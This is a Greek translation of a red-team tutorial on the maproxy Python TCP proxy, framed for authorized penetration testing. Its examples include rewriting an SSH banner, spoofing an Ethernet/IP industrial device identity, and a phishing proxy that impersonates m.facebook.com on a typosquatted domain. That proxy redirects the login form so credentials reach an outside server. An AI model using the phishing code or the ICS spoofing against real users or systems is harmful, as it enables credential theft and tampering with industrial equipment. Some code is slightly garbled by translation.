Η μετάφραση του άρθρου ετοιμάστηκε την παραμονή της έναρξης του μαθήματος
Αφηρημένο
Διάφοροι τύποι αξιολογήσεων ασφαλείας, που κυμαίνονται από τακτικές δοκιμές διείσδυσης και λειτουργίες Red Team έως χακάρισμα συσκευών IoT/ICS και SCADA, περιλαμβάνουν εργασία με πρωτόκολλα δυαδικού δικτύου, δηλαδή ουσιαστικά υποκλοπή και τροποποίηση δεδομένων δικτύου μεταξύ του πελάτη και του στόχου. Η ανίχνευση κίνησης δικτύου δεν είναι δύσκολη υπόθεση, καθώς έχουμε εργαλεία όπως το Wireshark, το Tcpdump ή το Scapy, αλλά η τροποποίηση φαίνεται να είναι πιο απαιτητική εργασία, καθώς θα χρειαστεί να έχουμε κάποιο είδος διεπαφής για να διαβάζουμε τα δεδομένα δικτύου, να τα φιλτράρουμε, να τα αλλάξουμε το on the fly και στείλτε το πίσω στον κεντρικό υπολογιστή-στόχο σε σχεδόν πραγματικό χρόνο. Επιπλέον, θα ήταν ιδανικό εάν ένα τέτοιο εργαλείο μπορούσε να λειτουργεί αυτόματα με πολλαπλές παράλληλες συνδέσεις και να μπορεί να προσαρμόζεται χρησιμοποιώντας σενάρια.
Μια μέρα ανακάλυψα ένα εργαλείο που ονομάζεται
, η τεκμηρίωση μου κατέστησε γρήγορα σαφές ότι maproxy
– ακριβώς αυτό που χρειάζομαι. Πρόκειται για έναν αρκετά απλό, ευέλικτο και εύκολα ρυθμιζόμενο διακομιστή μεσολάβησης TCP. Δοκίμασα αυτό το εργαλείο σε πολλές αρκετά περίπλοκες εφαρμογές, συμπεριλαμβανομένων συσκευών ICS (που δημιουργούν πολλά πακέτα) για να δω αν μπορούσε να χειριστεί πολλές παράλληλες συνδέσεις και το εργαλείο είχε καλή απόδοση.
Αυτό το άρθρο θα σας παρουσιάσει την επεξεργασία δεδομένων δικτύου εν κινήσει χρησιμοποιώντας maproxy
.
Αναθεώρηση
Εργαλείο maproxy
βασίζεται στο Tornado, ένα δημοφιλές και ώριμο πλαίσιο ασύγχρονης δικτύωσης στην Python.
Γενικά, μπορεί να λειτουργήσει σε διάφορους τρόπους:
TCP:TCP
– μη κρυπτογραφημένες συνδέσεις TCP.TCP:SSL
иSSL:TCP
– με μονόδρομη κρυπτογράφηση.SSL:SSL
– αμφίδρομη κρυπτογράφηση.
Έρχεται ως βιβλιοθήκη. Για γρήγορη εκκίνηση, μπορείτε να χρησιμοποιήσετε παραδείγματα αρχείων που αντικατοπτρίζουν το κύριο
all.py
certificate.pem
logging_proxy.py
privatekey.pem
ssl2ssl.py
ssl2tcp.py
tcp2ssl.py
tcp2tcp.py
Περίπτωση 1 – απλός αμφίδρομος διακομιστής
Βασισμένο στο tcp2tcp.py
:
#!/usr/bin/env python
import tornado.ioloop
import maproxy.proxyserver
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()
Από προεπιλογή ProxyServer()
παίρνει δύο ορίσματα – τη θέση σύνδεσης και τη θύρα προορισμού. server.listen()
παίρνει ένα όρισμα - τη θύρα για την ακρόαση της εισερχόμενης σύνδεσης.
Εκτέλεση του σεναρίου:
# python tcp2tcp.py
Για να εκτελέσουμε τη δοκιμή, θα συνδεθούμε σε έναν τοπικό διακομιστή SSH μέσω του σεναρίου διακομιστή μεσολάβησης, το οποίο ακούει 2222/tcp
θύρα και συνδέεται σε μια τυπική θύρα 22/tcp
Διακομιστές SSH:
Το banner καλωσορίσματος σάς ενημερώνει ότι το παράδειγμά μας δέσμης ενεργειών έχει μεσολαβήσει επιτυχώς την κυκλοφορία δικτύου.
Περίπτωση 2 – τροποποίηση δεδομένων
Άλλο ένα σενάριο επίδειξης logging_proxy.py
ιδανικό για αλληλεπίδραση με δεδομένα δικτύου. Τα σχόλια στο αρχείο περιγράφουν τις μεθόδους κλάσης που μπορείτε να τροποποιήσετε για να πετύχετε τον στόχο σας:
Το πιο ενδιαφέρον είναι εδώ:
on_c2p_done_read
– να υποκλέψει δεδομένα κατά τη διαδρομή από τον πελάτη στον διακομιστή.on_p2s_done_read
- ανάποδα.
Ας προσπαθήσουμε να αλλάξουμε το banner SSH που επιστρέφει ο διακομιστής στον πελάτη:
[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]
Εκτελέστε το σενάριο:
Όπως μπορείτε να δείτε, ο πελάτης παραπλανήθηκε επειδή το όνομα διακομιστή SSH για αυτόν άλλαξε σε «DumnySSH»
.
Περίπτωση 3 – απλή ιστοσελίδα phishing
Υπάρχουν άπειροι τρόποι να χρησιμοποιήσετε αυτό το εργαλείο. Αυτή τη φορά ας επικεντρωθούμε σε κάτι πιο πρακτικό από την πλευρά των επιχειρήσεων της Red Team. Ας μιμηθούμε τη σελίδα προορισμού m.facebook.com
και χρησιμοποιήστε έναν προσαρμοσμένο τομέα με εσκεμμένο τυπογραφικό λάθος, για παράδειγμα, m.facebok.com
. Για λόγους επίδειξης, ας υποθέσουμε ότι ο τομέας είναι κατοχυρωμένος από εμάς.
Θα δημιουργήσουμε μια μη κρυπτογραφημένη σύνδεση δικτύου με τον διακομιστή μεσολάβησης θυμάτων και το SSL Stream στον διακομιστή Facebook (31.13.81.36
). Για να λειτουργήσει αυτό το παράδειγμα, πρέπει να αντικαταστήσουμε την κεφαλίδα του κεντρικού υπολογιστή HTTP και να εισάγουμε το σωστό όνομα κεντρικού υπολογιστή και θα απενεργοποιήσουμε επίσης τη συμπίεση απόκρισης, ώστε να έχουμε εύκολη πρόσβαση στα περιεχόμενα. Τελικά θα αντικαταστήσουμε τη φόρμα HTML έτσι ώστε τα διαπιστευτήρια σύνδεσης να αποστέλλονται σε εμάς αντί για τους διακομιστές του Facebook:
[…]
def on_c2p_done_read(self,data):
# replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
def on_p2s_done_read(self,data):
# partial replacement of response
data = data.replace("action="/el/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]
Εν περιλήψει:
Όπως μπορείτε να δείτε, καταφέραμε να αντικαταστήσουμε με επιτυχία τον αρχικό ιστότοπο.
Περίπτωση 4 – Μεταφορά Ethernet/IP
Ασχολούμαι με βιομηχανικές συσκευές και λογισμικό (ICS/SCADA) εδώ και αρκετό καιρό, όπως προγραμματιζόμενους ελεγκτές (PLC), μονάδες I/O, μονάδες δίσκου, ρελέ, περιβάλλοντα προγραμματισμού ladder και πολλά άλλα. Αυτή η θήκη είναι για όσους αγαπούν τα βιομηχανικά πράγματα. Η παραβίαση τέτοιων λύσεων περιλαμβάνει ενεργό παιχνίδι με πρωτόκολλα δικτύου. Στο παρακάτω παράδειγμα, θα ήθελα να δείξω πώς μπορείτε να τροποποιήσετε την κυκλοφορία δικτύου ICS/SCADA.
Για να το κάνετε αυτό, χρειάζεστε τα εξής:
- Δικτυακός ανιχνευτής, για παράδειγμα, Wireshark.
- Ethernet/IP ή απλώς μια συσκευή SIP, μπορείτε να το βρείτε χρησιμοποιώντας την υπηρεσία Shodan.
- Το σενάριό μας βασίζεται σε
maproxy
.
Αρχικά, ας δούμε πώς μοιάζει μια τυπική απόκριση αναγνώρισης από το CIP (Common Industrial Protocol):
Η αναγνώριση της συσκευής πραγματοποιείται χρησιμοποιώντας το πρωτόκολλο Ethernet/IP, το οποίο είναι μια βελτιωμένη έκδοση του βιομηχανικού πρωτοκόλλου Ethernet που αναδιπλώνει πρωτόκολλα ελέγχου όπως το CIP. Θα αλλάξουμε το επισημασμένο όνομα αναγνωριστικού που είναι ορατό στο στιγμιότυπο οθόνης "NI-IndComm για Ethernet" χρησιμοποιώντας το σενάριο διακομιστή μεσολάβησης. Θα μπορούσαμε να χρησιμοποιήσουμε ξανά το σενάριο logging_proxy.py
και παρομοίως τροποποιήστε τη μέθοδο κλάσης on_p2s_done_read
, επειδή θέλουμε ένα διαφορετικό όνομα ταυτότητας να είναι ορατό στον πελάτη.
Κωδικός:
[…]
def on_p2s_done_read(self,data):
# partial replacement of response
# Checking if we got List Identity message response
if data[26:28] == b'x0cx00':
print('Got response, replacing')
data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]
Ουσιαστικά, ζητήσαμε δύο φορές την αναγνώριση της συσκευής, η δεύτερη απάντηση ήταν η αρχική και η πρώτη τροποποιήθηκε εν κινήσει.
Και το τελευταίο
Κατά τη γνώμη μου maproxy
Ένα βολικό και απλό εργαλείο, το οποίο είναι επίσης γραμμένο σε Python, οπότε πιστεύω ότι και εσείς μπορείτε να επωφεληθείτε από τη χρήση του. Φυσικά, υπάρχουν πιο πολύπλοκα εργαλεία επεξεργασίας και τροποποίησης δεδομένων δικτύου, αλλά απαιτούν και μεγαλύτερη προσοχή και συνήθως δημιουργούνται για μια συγκεκριμένη περίπτωση χρήσης, π.χ. maproxy
μπορείτε να εφαρμόσετε γρήγορα τις ιδέες σας για την υποκλοπή δεδομένων δικτύου, καθώς τα παραδείγματα σεναρίων είναι πολύ ξεκάθαρα.
Πηγή: www.habr.com